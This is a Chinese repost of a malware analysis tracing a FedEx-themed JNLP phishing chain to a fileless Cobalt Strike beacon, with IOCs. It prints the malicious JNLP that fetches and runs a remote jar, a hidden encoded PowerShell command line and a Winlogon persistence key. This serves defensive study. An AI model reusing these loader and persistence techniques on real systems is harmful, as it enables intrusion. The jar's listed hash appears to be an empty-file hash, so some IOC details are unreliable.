freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

分析无文件恶意软件 : Cobalt Strike Beacon
2020-07-25 00:53:00
所属地 山东省

今天我们将研究一个由多阶段组成的恶意软件,它的最终目的依然是与Cobalt Strike的C2服务器建立连接。我们将研究此样本所使用的一些酷炫的技术吗,在浏览VirusTotal上的样本时,我碰巧遇到了它的第一阶段网络钓鱼的附件,发现贼因吹斯听。因为通常情况下我们很难见到JNLP格式的附件,让我开始一探究竟把。

阶段1:依赖分析

JNLP文件是一个java web文件,单击文件时,应用程序javaws.exe会尝试加载并执行。javaws是java运行环境的一部分,用于java应用程序提供internet功能。JNLP文件可以用于允许的远程服务器上托管的应用程序在本地启动。但是值得注意的是,为了能方便通过JNLP进行钓鱼,目标机器机器上必须要安装java环境。

它们通常非常简单,并不难分析。直接将文件拖到文本编辑器里,就可以轻松查看jnlp的内容。如下面的xml代码,我们可以看到JNLP文件将用于在hxxp://fedex-tracking.fun域种加载和执行FedEx_Delivery_invoice.jar 

<?xml version="1.0"encoding="utf-8"?>
<jnlpspec="1.0+"codebase="http://fedex-tracking.fun"
href="FedEx_Delivery_invoice.jnlp">
<information>
    <title>Federal Express Service</title>
    <vendor>Federal Express</vendor>
    <homepagehref="www.fedex.com"/>
    <description>Federal Express documents online.</description>
        </information>
    <security>
        <all-permissions/>
    </security>
    <resources>
        <j2seversion="1.6+"/>
        <jarhref="FedEx_Delivery_invoice.jar"/>
    </resources>
        <application-descmain-class="FedEx_Service">
    </application-desc>
</jnlp>

现在我们已经知道它第二阶段的动作,payload的名称和位置,该域名hxxp://fedex-tracking.fun仍在运行中,因此可以尝试下载可以FedEx_Delivery_invoice.jar。下载完毕我们可以直接使用JD-GUI对它进行分析。JD-GUI是一个简单的工具,可以反编译并查看到jar文件的代码。(在打开JD-GUI后,我将代码复制到了Atom,因为我喜欢它突出的显示语法)

FedEx_Delivery_invoice.jar

从上面的代码中可以看到 FedEx_Delivery_invoice.jar 将尝试从域名:hxxp://fedex-tracking[.]press 上下载fedex912.exe,该可执行文件将存放在Windows临时目录中,然后在该目录中执行该文件。这个jar文件还会加载合法的FedEx网站信息,使用户确信他们下载的文件是合法的。

截断2 :可执行文件分析

不过遗憾的是,在我撰写该文章时,托管域名不在处于活动状态,这意味着我不能下载到fedex912.exe。但是可以下载VirusTotal的示例。我在我的分析环境里使用进程监视和regshot运行可执行文件,首先fedex912.exe将一个名为gennt.exe的新文件释放到C:\ProgramData\9ea94915b24a4616f72c\目录。该文件只是它自己的一个副本,将副本复制到一个隐藏目录中,然后删除自身。复制到隐藏目录的目的通常是因为正常情况下该类目录是不可见的。

我使用regshot在运行可执行文件后,对注册表进行了前后对照比较。下面的条目显示了恶意软件的持久性机制。gennt.exe将可执行文件添加到注册表中确保每次windows重新启动时都可以启动恶意软件。

HKU\S-1-5-21-1245055219-2462972176-1415829347-1001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell:"explorer.exe, "C:\ProgramData\9ea94915b24a4616f72c\gennt.exe""

对可执行文件进行研究后,我发现它应该是先启动cmd然后在启动Powershell,但是运行文件时,在我的计算机上没有复现。造成这种情况的原因可能有很多种,其中一种可能是该恶意软件有反分析功能,并且可以检测虚拟机防止分析。由于我当前的环境尚未设置可以对抗可以识别vm的恶意软件,因此我将作弊一下,在Anyrun上运行一下。在AnyRun分析中,我們可以看到cmd命令:"C:\Windows\System32\cmd.exe" /c powershell -nop -w hidden -encodedcommand”,然后再将base64的命令解析到powershell。AnyRun分析:

我们可以看到该命令使用了base64进行了编码,进一步分析我们还可以看到它不仅编码了还被Gunzip压缩了。

使用Cyber​​Chef再次解碼base64并解压。

解码以后,终于有了人能看懂的东西……这里发生了很多有意思的事情。powershell脚本实际上包含了三个块,其中第一个块具有几个功能,第二块带有base64编码和”for“语句。最后一块带有一些已经定义的变量和"if"语句。我们应该首先解决base64 Encoded块,然后在处理powershell脚本的其余部分。

注意:我不得不将代码截图分成两部分,因为代码太多一张图根本放不下,如不截图直接放代码,又会导致我的网站被标记成恶意网址,你可以在本文底部西在代码示例。

立即引起注意的是“ Powershell腳本第2部分”图像中Base64编码文本下方的“ for”语句。

“for”语句表示Base64块是用密钥为35的异或加密的,我们也可以使用Cyber​​Chef解密。

 

 

 

我们可以看到解密出的内容很多不是人话(……不可读的)但是我们还是看到了像IP地址和User-Agent的信息。其余没法判断是不是shellcode的部分,让我们尝试做一些基本的shellcode分析看看有没有效。

我使用Cyber​​Chef将上面的代码转换为十六进制。

有了十六进制代码后,可以保存为.dat文件,接下来使用scdbg分析一下。这个工具可以模拟windows的基本行为,并且通过模拟windowsAPI环境拦截windows API调用的shellcode。

將.dat文件解析到工具後,給出以下輸出。shellcode加載wininet API庫並導入兩個用於建立Internet連接的函數。我們可以看到已經建立了到前面通過端口8080看到的IP地址的連接。
载入.dat文件以后,给出以下输出。shellcode加载wininetAPI库并导入了两个用于联网的函数。我们可以看到已经通过8080端口建立的与刚才看到的IP地址的连接。

由于这段shellcode不导入其他功能,因此,这看起来只是一个简单的beacon程序。可以与远端ip建立连接,然后接收c2服务器端发送的命令。c2 ip 地址是一个乌克兰的地址。22 80 8080 端口都开放。

使用PowerShell注入內存

我们查看了base64编码块,并确定它是一个简单的shellcode,用于与C2服务器建立连接,我们仍然要回一个问题:如何执行shellcode?
通过powershell脚本其余部分,我们可以看到shellcode是直接注入到内存中的,下面给出基本摘要:

1 脚本从system.dll导入GetModuleHandle和GetProcAddress两个函数,并通过直接从内存中导入,因此它不会从磁盘加载。这些都是Windows UnsafeNativeMethods。以这种方式加载dll的方法称为运行时动态链接。(关于动态连接更多信息:https://docs.microsoft.com/en-us/windows/win32/dlls/using-run-time-dynamic-linking)

2 这些函数用于"var_va"分配内存空间,该空间用于存放shellcode。  

3 脚本用于对shellcode的解码和解密

4 VirtualAlloc将shellcode函数写入内存空间以进行后期调用,在当前情况下使用powershell调用,因此shellcode实际上是被注入到了powershell使用的内存空间中。

5 执行shellcode 并于Cobalt Strike的C2服务器建立连接。

什么是Cobalt Strike

。。。AnyRun将powershell的行为特征归类与Cobalt Strike,PowerShell脚本和shellcode与Cobalt Strike Beacon的配置文件和行为相匹配。Cobalt Strike是用于对手模拟和红队行动的工具,该工具的关键功能是能够生成恶意软件的有效payload和C2通道。我们看到的Cobalt StrikeBeacon是无文件的,这意味着powershell脚本将Beacon直接注入到了内存,并不会接触磁盘。一旦在设备上出现了Cobalt StrikeBeacon,攻击者就可有了可以执行其他动作,包括窃取令牌和凭据横向移动等能力。

结语:

这样这篇文章就结束了,希望对你能得到对你有用的信息。这是无文件恶意软件的一个简单示例,对于那些可能对该领域不太熟悉的人,我认为是一个很好的介绍,当然这也是我的感兴趣的主题,我想进一步研究,因此希望将来有更多关于此类信息的文章。

-----------------------------------------------------------------------------

IOCs

First stage:
FedEx_Delivery_invoice.jnlp
SHA256: 7d187c34512571b45ffc2285414425b2e8963a914765582f9ea76ecc2791b45e
hxxp://fedex-tracking[.]fun

Second stage:
FedEx_Delivery_invoice.jar
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
hxxp://fedex-tracking[.]press
Third stage:
fedex912.exe / gennt.exe
SHA256: ba5fa7cc1a918b866354f4a5d9d92ceb3965ff81eb96e1608f190bccf12d38e6
Run Location:
%PROGRAMDATA%\9ea94915b24a4616f72c\gennt.exe
Persistence Registry Key:
HKU\S-1-5-21-1245055219-2462972176-14158293471001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell: “explorer.exe, “C:\ProgramData\9ea94915b24a4616f72c\gennt.exe
C2 Stage:
176[.]103[.]56[.]89

 

原文地址:https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/

# 渗透测试 # 黑客 # 恶意软件
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者